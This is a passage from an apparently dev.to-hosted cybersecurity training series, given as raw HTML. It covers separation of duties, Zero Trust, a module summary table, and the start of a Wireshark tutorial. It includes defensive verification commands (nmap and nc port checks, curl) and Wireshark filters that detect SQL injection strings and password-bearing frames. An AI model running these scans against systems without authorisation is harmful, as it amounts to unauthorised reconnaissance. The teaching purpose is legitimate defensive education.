getcap &lt;span class="nt"&gt;-r&lt;/span&gt; / 2&amp;gt;/dev/null               &lt;span class="c"&gt;# List all capability-enabled binaries&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; Least privilege is the single most effective control for limiting the blast radius of any compromise. WannaCry encrypted entire networks because processes ran as administrators. Ransomware running as a limited user can only encrypt that user's files. JIT privilege means even if admin credentials are stolen, they provide no privilege until explicitly elevated — eliminating the persistent privileged account as an attack target.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  12. Separation of Duties
&lt;/h2&gt;

&lt;h3&gt;
  
  
  12.1 Definition
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Separation of Duties (SoD):&lt;/strong&gt; Ensuring that no single person has control over all aspects of a critical operation. Requires multiple people to complete critical actions.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Why it matters:

Without SoD:
  Single accountant: creates vendor, approves invoice, initiates payment
  One person controls entire financial transaction
  If malicious: can create fictitious vendor and pay themselves
  If compromised: attacker has full financial control

With SoD:
  Person A: creates vendor in system
  Person B (supervisor): approves new vendor
  Person C: creates invoice
  Person D: approves invoice payment
  Person E: initiates bank transfer (requires Person D's approval code)

  For fraud to succeed: attacker must compromise multiple people/systems

Principle in IT:
  Developer should not deploy their own code to production
    (could introduce malicious code without review)
  Security team should not manage the logs they are measured against
    (could manipulate metrics)
  Network admin should not also be the security monitor
    (could cover tracks after policy violation)
  Backup admin should not control the systems being backed up
    (could delete both production and backup)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  12.2 SoD in Technology Controls
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Code Review as SoD:
  No code reaches production without peer review
  Developer → Pull Request → Peer Review → Merge → CI/CD → Staging → Approval → Production

  Critical: review must be meaningful — rubber-stamp approval defeats purpose

Four-Eyes Principle:
  Any critical action requires two people to approve
  Common in:
    Banking: large transfers require two authorisers
    Change management: changes require change advisory board
    Cryptography: split knowledge key ceremonies (HSM administration)
    Nuclear weapons: two-person integrity rule (two keys simultaneously)

SoD in Access Control:
  Privileged Access Management: admin cannot grant themselves more access
  AD: user who can modify AD groups should not be able to modify audit logs
  Database: DBA who can read all data should not control application authentication
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Implement and verify separation of duties:&lt;/span&gt;

&lt;span class="c"&gt;# Git branch protection (enforce code review via GitHub API):&lt;/span&gt;
curl &lt;span class="nt"&gt;-X&lt;/span&gt; PATCH &lt;span class="s2"&gt;"https://api.github.com/repos/ORG/REPO/branches/main/protection"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Authorization: token YOUR_TOKEN"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Accept: application/vnd.github.v3+json"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{
        "required_pull_request_reviews": {
            "required_approving_review_count": 2,
            "dismiss_stale_reviews": true
        },
        "required_status_checks": {"strict": true, "contexts": ["CI/Tests"]},
        "enforce_admins": true
    }'&lt;/span&gt;

&lt;span class="c"&gt;# Linux: make audit logs immutable:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;chattr +i /etc/audit/auditd.conf  &lt;span class="c"&gt;# Cannot modify without removing attribute first&lt;/span&gt;

&lt;span class="c"&gt;# Require two-factor for privilege escalation (PAM):&lt;/span&gt;
&lt;span class="c"&gt;# /etc/pam.d/sudo: auth required pam_google_authenticator.so&lt;/span&gt;

&lt;span class="c"&gt;# Check for SoD violations — user who can both reset passwords AND manage audit:&lt;/span&gt;
&lt;span class="c"&gt;# (requires AD access)&lt;/span&gt;
&lt;span class="c"&gt;# Get-ADUser -Filter * -Properties MemberOf | Where-Object {&lt;/span&gt;
&lt;span class="c"&gt;#     $_.MemberOf -match "Account Operators" -and $_.MemberOf -match "Event Log Readers"&lt;/span&gt;
&lt;span class="c"&gt;# }&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; Separation of Duties is the only control that protects against malicious insiders with legitimate access. No technical control prevents a DBA with full database access from stealing data — but requiring two people to authorise exports, using DLP to detect anomalous queries, and session recording creates both deterrence and detection. The four-eyes principle applied to critical operations converts single points of failure into conspiracy requirements.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  13. Zero Trust Model
&lt;/h2&gt;

&lt;h3&gt;
  
  
  13.1 The Paradigm Shift
&lt;/h3&gt;

&lt;p&gt;Traditional security assumed that everything inside the network perimeter was trusted. Zero Trust rejects this assumption entirely.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Traditional Model ("Castle and Moat"):
  Inside network = trusted
  Outside network = untrusted
  If you're on the VPN → you're trusted → access everything

  Fatal flaw: attackers who breach the perimeter have free movement inside

Zero Trust Model:
  "Never trust, always verify"
  Location in network conveys NO trust
  Every access request verified:
    Who is the user? (identity)
    What device are they using? (device health)
    What are they trying to access? (resource)
    Is this request normal for them? (behaviour)
    What is the minimum access needed? (least privilege)

  Even valid internal traffic is verified continuously
  Even privileged users are verified per-request
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  13.2 Zero Trust Architecture Components
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;NIST SP 800-207 Zero Trust Architecture:

Policy Engine (PE): Makes access decisions
  Input: identity, device posture, resource, context, policy
  Output: ALLOW / DENY / ALLOW with conditions

Policy Administrator (PA): Enforces decisions from PE
  Establishes/terminates sessions
  Issues credentials for specific sessions

Policy Enforcement Point (PEP): Gatekeeper
  Sits between user and resource
  All traffic passes through PEP
  PEP checks with PA before allowing connection

Identity Provider (IdP): Source of identity truth
  Azure AD, Okta, Ping Identity
  Provides: authentication, MFA, attributes

Device Trust: Certificate-based device authentication
  MDM (Intune, Jamf) attestation
  Device health: OS version, patch status, AV status, encryption

Network: Software-Defined Perimeter
  Resources not discoverable without authorisation
  Micro-segmentation: every workload in its own segment

Monitoring: Full visibility into all access
  Every request logged
  Continuous risk scoring
  Anomaly detection
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  13.3 Zero Trust Implementation
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Zero Trust Maturity Model (CISA, 2023):

Identity:
  Traditional: Username/password
  Initial: MFA added
  Advanced: Phishing-resistant MFA (FIDO2), identity risk scoring
  Optimal: Continuous identity verification, behaviour analytics

Devices:
  Traditional: No device check
  Initial: MDM enrolled devices required
  Advanced: Device compliance gating access (health check)
  Optimal: Continuous device monitoring, automated remediation

Networks:
  Traditional: Flat trusted internal network
  Initial: VLANs, basic segmentation
  Advanced: Micro-segmentation, software-defined perimeter
  Optimal: ZTNA (Zero-trust network access), no implicit trust anywhere

Applications:
  Traditional: All internal apps accessible on network
  Initial: Application proxy, published selectively
  Advanced: Per-app MFA, session recording for sensitive apps
  Optimal: Fine-grained authorisation per request, behaviour analytics

Data:
  Traditional: Perimeter protects data, no internal DLP
  Initial: Data classification, basic DLP
  Advanced: DRM (rights management), zero-trust data access
  Optimal: Automated data protection based on sensitivity
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Zero Trust implementation verification:&lt;/span&gt;

&lt;span class="c"&gt;# Check: are internal resources reachable without authentication?&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; /dev/null &lt;span class="nt"&gt;-w&lt;/span&gt; &lt;span class="s2"&gt;"%{http_code}"&lt;/span&gt; http://internal-app.company.local/
&lt;span class="c"&gt;# 401/403: correct (requires auth)&lt;/span&gt;
&lt;span class="c"&gt;# 200: no authentication required = zero trust violation&lt;/span&gt;

&lt;span class="c"&gt;# Check: is VPN the only way to access internal resources?&lt;/span&gt;
nmap &lt;span class="nt"&gt;-p&lt;/span&gt; 80,443,8080,3389,22 internal_hostname_from_internet
&lt;span class="c"&gt;# Ports accessible directly from internet = perimeter failure&lt;/span&gt;

&lt;span class="c"&gt;# Verify MFA is enforced (attempt login with password only — should fail):&lt;/span&gt;
&lt;span class="c"&gt;# If login succeeds without second factor: MFA not enforced&lt;/span&gt;

&lt;span class="c"&gt;# Check Cloudflare Access / ZTNA policy enforcement:&lt;/span&gt;
curl &lt;span class="nt"&gt;-I&lt;/span&gt; https://protected-app.company.com/
&lt;span class="c"&gt;# Should redirect to identity provider, not serve content directly&lt;/span&gt;

&lt;span class="c"&gt;# Implement basic ZT — verify every session via nginx + oauth2-proxy:&lt;/span&gt;
&lt;span class="c"&gt;# All requests require OAuth2 authentication before reaching the app&lt;/span&gt;
&lt;span class="c"&gt;# No direct access without a valid, MFA-verified session token&lt;/span&gt;

&lt;span class="c"&gt;# Verify micro-segmentation (from inside a workstation):&lt;/span&gt;
&lt;span class="c"&gt;# Try to reach another workstation directly:&lt;/span&gt;
ping ANOTHER_WORKSTATION_IP
nc &lt;span class="nt"&gt;-zv&lt;/span&gt; ANOTHER_WORKSTATION_IP 445
&lt;span class="c"&gt;# If succeeds: no micro-segmentation (flat network)&lt;/span&gt;
&lt;span class="c"&gt;# If fails: micro-segmentation working correctly&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Zero Trust in OT/ICS:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Zero Trust concepts applied to OT/ICS:

Challenge: many OT devices cannot authenticate themselves
  PLCs don't have certificates
  Field sensors have no identity mechanism

OT Zero Trust approach:

1. Zone/Conduit model (IEC 62443):
   Replace flat OT network with security zones
   All inter-zone traffic through verified conduits (firewalls)
   Devices inherit trust from zone membership

2. Identity at the boundary:
   Even if PLC has no identity, the engineering workstation accessing it does
   MFA on engineering workstation
   Session recording for all PLC access

3. Never trust the IT-OT connection:
   IT network is assumed compromised
   OT access from IT: through DMZ, jump server, protocol break
   One-way data flows where possible (data diode)

4. Micro-segmentation of OT zones:
   Instead of one OT VLAN: separate VLANs per process area
   Firewall between each area
   Attack contained to one process area if successful

5. Continuous monitoring:
   Baseline normal OT traffic (passive)
   Alert on any deviation
   Assume breach — always be looking for threat actors already inside
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; Zero Trust is not a product — it is a security philosophy requiring architectural changes across identity, device, network, application, and data. The starting point for most organisations is always identity: enforce phishing-resistant MFA (FIDO2/WebAuthn) for all users, all applications, all the time. This single control eliminates the vast majority of credential-based attacks that represent the initial access vector in most documented breaches.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  14. Module Summary
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Concept&lt;/th&gt;
&lt;th&gt;Core Principle&lt;/th&gt;
&lt;th&gt;Attack Scenario&lt;/th&gt;
&lt;th&gt;Key Defence&lt;/th&gt;
&lt;th&gt;OT/ICS Application&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CIA — Confidentiality&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Only authorised parties see data&lt;/td&gt;
&lt;td&gt;Eavesdropping, data exfiltration, credential theft&lt;/td&gt;
&lt;td&gt;Encryption (TLS, disk), access controls, DLP&lt;/td&gt;
&lt;td&gt;Process parameters, network topology protection&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CIA — Integrity&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Data has not been unauthorised modified&lt;/td&gt;
&lt;td&gt;Supply chain tampering (SolarWinds), log modification, sensor spoofing (Stuxnet)&lt;/td&gt;
&lt;td&gt;Cryptographic hashes, digital signatures, FIM, immutable logs&lt;/td&gt;
&lt;td&gt;ICS protocol auth (IEC 62351), cross-validate sensors, SIS independence&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CIA — Availability&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Systems accessible when needed&lt;/td&gt;
&lt;td&gt;DDoS, ransomware, SYN flood, disk exhaustion&lt;/td&gt;
&lt;td&gt;Redundancy, DDoS mitigation, backups, patching&lt;/td&gt;
&lt;td&gt;Highest priority in OT; redundant control paths; maintenance window patches&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Authentication&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Verify claimed identity&lt;/td&gt;
&lt;td&gt;Phishing, brute force, credential stuffing, MFA fatigue, Kerberoasting&lt;/td&gt;
&lt;td&gt;Phishing-resistant MFA (FIDO2), password managers, Kerberos hardening&lt;/td&gt;
&lt;td&gt;Compensate for no-auth OT protocols with boundary auth and session recording&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Authorization&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Determine what identity may do&lt;/td&gt;
&lt;td&gt;IDOR, privilege escalation, broken access control (OWASP #1)&lt;/td&gt;
&lt;td&gt;Server-side checks every request, RBAC, ABAC, deny by default&lt;/td&gt;
&lt;td&gt;Jump server ACLs, OT zone firewall rules, per-function access control&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Access Control&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Enforce auth/authz decisions&lt;/td&gt;
&lt;td&gt;VLAN hopping, DAC bypass, SUID exploitation&lt;/td&gt;
&lt;td&gt;802.1X NAC, SELinux MAC, ACL auditing, remove SUID&lt;/td&gt;
&lt;td&gt;Network segmentation, managed switch port security&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;AAA&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Auth + Authz + Audit trail&lt;/td&gt;
&lt;td&gt;Unattributed access, compliance gaps, incident reconstruction failure&lt;/td&gt;
&lt;td&gt;RADIUS/TACACS+, centralised logging, SIEM&lt;/td&gt;
&lt;td&gt;NERC CIP compliance, individual accounts, session logging for OT access&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Risk&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Threat × Vulnerability × Impact&lt;/td&gt;
&lt;td&gt;Misallocated resources (patching low-risk, ignoring high-risk)&lt;/td&gt;
&lt;td&gt;FAIR/CVSS-based prioritisation, risk register, ALE calculation&lt;/td&gt;
&lt;td&gt;OT risk: availability/safety impact far exceeds data breach cost&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Threat Actors&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Who is targeting you and why&lt;/td&gt;
&lt;td&gt;APT persistent access (SolarWinds), ransomware (Colonial), insider (Capital One)&lt;/td&gt;
&lt;td&gt;Threat intelligence, TTP-based detection, sector-specific ISAC&lt;/td&gt;
&lt;td&gt;Sandworm targets OT; Volt Typhoon pre-positioning in critical infrastructure&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Attack Surface&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Every entry point an attacker could use&lt;/td&gt;
&lt;td&gt;Exposed SCADA on internet (Shodan), shadow IT, forgotten assets&lt;/td&gt;
&lt;td&gt;Asset discovery, exposure reduction, continuous attack surface monitoring&lt;/td&gt;
&lt;td&gt;Thousands of OT devices exposed on Shodan; vendor remote access scope&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Defence in Depth&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Overlapping controls at multiple layers&lt;/td&gt;
&lt;td&gt;Single control failure → complete compromise&lt;/td&gt;
&lt;td&gt;Layered controls: physical → network → host → app → data → human&lt;/td&gt;
&lt;td&gt;Purdue model zones + firewalls + monitoring = OT DiD implementation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Least Privilege&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Minimum necessary permissions only&lt;/td&gt;
&lt;td&gt;WannaCry blast radius (admin accounts), lateral movement&lt;/td&gt;
&lt;td&gt;LAPS, JIT privilege, service accounts with minimal rights&lt;/td&gt;
&lt;td&gt;No shared "operator" accounts; application-specific accounts for HMI&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Separation of Duties&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;No single person controls critical action&lt;/td&gt;
&lt;td&gt;Insider fraud, malicious code deployment without review&lt;/td&gt;
&lt;td&gt;Code review, 4-eyes principle, PAM for privileged access&lt;/td&gt;
&lt;td&gt;Two-person rule for safety system changes; change advisory board&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Zero Trust&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Never trust, always verify — location conveys no trust&lt;/td&gt;
&lt;td&gt;Lateral movement after perimeter breach (Colonial Pipeline), VPN-only perimeter bypass&lt;/td&gt;
&lt;td&gt;Phishing-resistant MFA first; then ZTNA, micro-segmentation, continuous monitoring&lt;/td&gt;
&lt;td&gt;Zone/conduit model; identity at boundary; assume breach posture&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Next Module:&lt;/strong&gt; &lt;a href="//./stage-2.2-cryptography.md"&gt;Stage 2.2 — Cryptography&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Previous Module:&lt;/strong&gt; &lt;a href="//../STAGE-01_Network-Fundamentals/stage-1.8-network-analysis-tools.md"&gt;Stage 1.8 — Network Analysis Tools&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Stage Index:&lt;/strong&gt; &lt;a href="//./README.md"&gt;Stage 2 README&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Series Index:&lt;/strong&gt; &lt;a href="//../../README.md"&gt;Full Roadmap&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;




&lt;p&gt;&lt;em&gt;This document is part of the Cybersecurity × OT/ICS Security Full Roadmap series. All techniques are presented for educational purposes, authorised security research, and defensive security practice. Always obtain proper authorisation before testing any system.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>learning</category>
      <category>bytewall</category>
      <category>programming</category>
    </item>
    <item>
      <title>Stage 1.8 — Network Analysis Tools</title>
      <dc:creator>Rençber AKMAN</dc:creator>
      <pubDate>Tue, 09 Jun 2026 18:55:05 +0000</pubDate>
      <link>https://dev.to/rencberakman/stage-18-network-analysis-tools-1ick</link>
      <guid>https://dev.to/rencberakman/stage-18-network-analysis-tools-1ick</guid>
      <description>&lt;h3&gt;
  
  
  From Zero to Cybersecurity Professional | Complete Roadmap Series
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Series:&lt;/strong&gt; Cybersecurity × OT/ICS Security — Full Roadmap&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Stage:&lt;/strong&gt; 1 — Network Fundamentals&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Module:&lt;/strong&gt; 1.8 — Network Analysis Tools&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Level:&lt;/strong&gt; Beginner → Advanced&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Prerequisites:&lt;/strong&gt; Stage 1.7 — Wireless Networks&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Next Stage:&lt;/strong&gt; Stage 2 — Cybersecurity Core&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Table of Contents
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Why Network Analysis Tools Define Your Career Ceiling&lt;/li&gt;
&lt;li&gt;Wireshark — The Packet Analyst's Primary Weapon&lt;/li&gt;
&lt;li&gt;tcpdump — The Command-Line Packet Capture Engine&lt;/li&gt;
&lt;li&gt;Netstat and ss — Connection State Intelligence&lt;/li&gt;
&lt;li&gt;Nmap — The Network Mapper&lt;/li&gt;
&lt;li&gt;Traceroute and Tracert — Path Discovery&lt;/li&gt;
&lt;li&gt;Ping — The Fundamental Connectivity Test&lt;/li&gt;
&lt;li&gt;ipconfig and ifconfig — Interface Configuration&lt;/li&gt;
&lt;li&gt;Additional Critical Tools&lt;/li&gt;
&lt;li&gt;Tool Integration — Building Investigation Workflows&lt;/li&gt;
&lt;li&gt;Network Analysis in OT/ICS Environments&lt;/li&gt;
&lt;li&gt;Hands-On Exercises&lt;/li&gt;
&lt;li&gt;Module Summary&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  1. Why Network Analysis Tools Define Your Career Ceiling
&lt;/h2&gt;

&lt;p&gt;There is a direct correlation between how deeply you understand these tools and how far you progress in cybersecurity. Every discipline — penetration testing, incident response, threat hunting, SOC analysis, OT security assessment — requires the ability to observe, interrogate, and interpret network behaviour. The tools in this module are not beginner tools you graduate from. They are the tools professionals use every day regardless of seniority.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Real incidents where these tools were decisive:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Stuxnet Discovery (2010):&lt;/strong&gt; The Stuxnet worm was partially identified through anomalous network traffic analysis. Kaspersky researchers used packet capture tools to observe unusual communication patterns with Siemens WinCC databases and later identified the C2 protocol embedded in industrial communications. Without deep packet analysis, the world's first known cyber-weapon aimed at physical infrastructure might have remained undiscovered far longer.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;APT1/Comment Crew Exposure (2013):&lt;/strong&gt; Mandiant's landmark report exposing Chinese APT1 operations relied heavily on network analysis of captured traffic. Nmap scans revealed attack infrastructure; packet captures documented exfiltration patterns; netstat data from compromised hosts showed persistent connections to C2 infrastructure. The entire forensic reconstruction was built on network analysis data.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Colonial Pipeline (2021):&lt;/strong&gt; The incident response teams deployed after the ransomware attack used network analysis tools to understand the blast radius — which systems had communicated with the initially compromised systems, which had received malicious payloads, what lateral movement paths had been used. Packet capture evidence helped reconstruct the attack timeline.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;For OT/ICS specifically:&lt;/strong&gt; When a PLC stops responding or a SCADA system behaves erratically, the first question is always: "What is happening at the network level?" Wireshark captures of Modbus traffic can reveal unauthorised write commands. Nmap scans (conducted carefully) identify rogue devices. Ping reveals whether a field device is reachable. These tools are the diagnostic instruments of industrial network security.&lt;/p&gt;

&lt;p&gt;The security mindset for this module: &lt;strong&gt;You cannot defend what you cannot see. You cannot investigate what you cannot measure. These tools are your senses on the network — developing fluency with them is not optional.&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  2. Wireshark — The Packet Analyst's Primary Weapon
&lt;/h2&gt;

&lt;h3&gt;
  
  
  2.1 What Wireshark Is and How It Works
&lt;/h3&gt;

&lt;p&gt;Wireshark is the world's most widely used network protocol analyser. It captures packets from a network interface, decodes them according to hundreds of protocol dissectors, and presents them in a structured, searchable interface. It can also open packet capture files in pcap, pcapng, and dozens of other formats.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How Wireshark captures packets:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Normal NIC Operation:
  Network traffic → NIC → [NIC accepts only MY packets] → OS → Applications

Promiscuous Mode:
  Network traffic → NIC → [NIC accepts ALL packets on segment] → OS → Wireshark

Monitor Mode (wireless):
  All wireless frames → Wireless NIC → [ALL frames regardless of encryption] → Wireshark
  (Monitor mode captures encrypted frames but cannot decrypt without key)

Capture Pipeline:
  Physical medium → NIC driver → WinPcap/Npcap (Windows) or libpcap (Linux/macOS)
  → Capture engine → Packet buffer → Dissectors → Display engine

Packet dissection:
  Raw bytes → Layer 2 decoder (Ethernet, 802.11, etc.)
             → Layer 3 decoder (IPv4, IPv6, ARP, etc.)
             → Layer 4 decoder (TCP, UDP, ICMP, etc.)
             → Layer 7 decoder (HTTP, DNS, SMB, Modbus, DNP3, etc.)
  Each layer reveals its fields → displayed in protocol tree
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  2.2 Wireshark Interface Deep Dive
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Wireshark Main Window Layout:

┌─────────────────────────────────────────────────────────────┐
│ Filter Bar: [    Display Filter Expression           ] [Apply]│
├─────────────────────────────────────────────────────────────┤
│ Packet List (one row per packet):                           │
│ No.  Time      Source          Dest          Protocol  Info │
│ 1    0.000000  192.168.1.5    8.8.8.8       DNS       Who  │
│ 2    0.012345  8.8.8.8        192.168.1.5   DNS       Resp │
│ 3    0.013000  192.168.1.5    93.184.216.34 TCP       SYN  │
├─────────────────────────────────────────────────────────────┤
│ Packet Details (protocol tree for selected packet):         │
│ ▼ Frame 1: 74 bytes on wire                                 │
│   ▼ Ethernet II: Src: AA:BB:CC:DD:EE:FF, Dst: 11:22:33... │
│     Destination: 11:22:33:44:55:66                         │
│     Source: AA:BB:CC:DD:EE:FF                               │
│     Type: IPv4 (0x0800)                                     │
│   ▼ IPv4: Src 192.168.1.5, Dst 8.8.8.8                    │
│     Version: 4                                              │
│     ...                                                     │
│   ▼ UDP: Src Port 54321, Dst Port 53                       │
│   ▼ DNS: Standard Query                                     │
├─────────────────────────────────────────────────────────────┤
│ Packet Bytes (hex + ASCII):                                 │
│ 0000  11 22 33 44 55 66 aa bb  cc dd ee ff 08 00 45 00  │
│ 0010  ...                                                   │
└─────────────────────────────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  2.3 Display Filters — The Core Skill
&lt;/h3&gt;

&lt;p&gt;Display filters are the most important Wireshark skill. They do not remove packets from the capture — they show or hide packets while the underlying capture remains complete.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Filter Syntax: field operator value (logical operators: and, or, not)

Basic Filters:
  ip.addr == 192.168.1.1          All traffic involving this IP (src or dst)
  ip.src == 192.168.1.5           Traffic FROM this IP
  ip.dst == 8.8.8.8               Traffic TO this IP
  tcp.port == 443                 TCP on port 443 (either direction)
  tcp.dstport == 80               TCP destined for port 80
  udp.port == 53                  UDP port 53 (DNS)

Protocol Filters:
  tcp                             All TCP traffic
  udp                             All UDP traffic
  icmp                            All ICMP traffic
  arp                             All ARP traffic
  dns                             All DNS traffic
  http                            All HTTP traffic (decoded)
  tls                             All TLS/SSL traffic
  smb                             All SMB traffic
  smb2                            All SMB2 traffic
  ftp                             All FTP control traffic
  ssh                             All SSH traffic
  modbus                          All Modbus traffic (ICS)
  dnp3                            All DNP3 traffic (ICS)

TCP Flags:
  tcp.flags.syn == 1              SYN packets (new connections)
  tcp.flags.syn == 1 and tcp.flags.ack == 0   SYN only (not SYN-ACK)
  tcp.flags.reset == 1            RST packets (connection resets)
  tcp.flags.fin == 1              FIN packets (connection close)

Content Filters:
  http.request.method == "POST"   HTTP POST requests
  http.response.code == 200       HTTP 200 OK responses
  http.response.code &amp;gt;= 400       HTTP errors
  dns.qry.name contains "evil"    DNS queries containing "evil"
  frame contains "password"       Any frame containing the string "password"
  data contains 50:41:53:53       Frames containing hex bytes (PASS)

Combining Filters:
  ip.src == 192.168.1.5 and tcp.dstport == 80
  not arp and not icmp            Exclude ARP and ICMP (reduce noise)
  ip.addr == 10.10.10.0/24        Any IP in this subnet
  tcp.port in {80 443 8080 8443}  Traffic on any of these ports

Comparison Operators:
  ==  equal to
  !=  not equal to
  &amp;gt;   greater than
  &amp;lt;   less than
  &amp;gt;=  greater than or equal
  &amp;lt;=  less than or equal
  contains  string/bytes contained within
  matches   regex match (~~)

Security-Specific Filters:
  # Find potential SQL injection in HTTP:
  http.request.uri contains "'"
  http.request.uri contains "UNION"
  http.request.uri contains "SELECT"

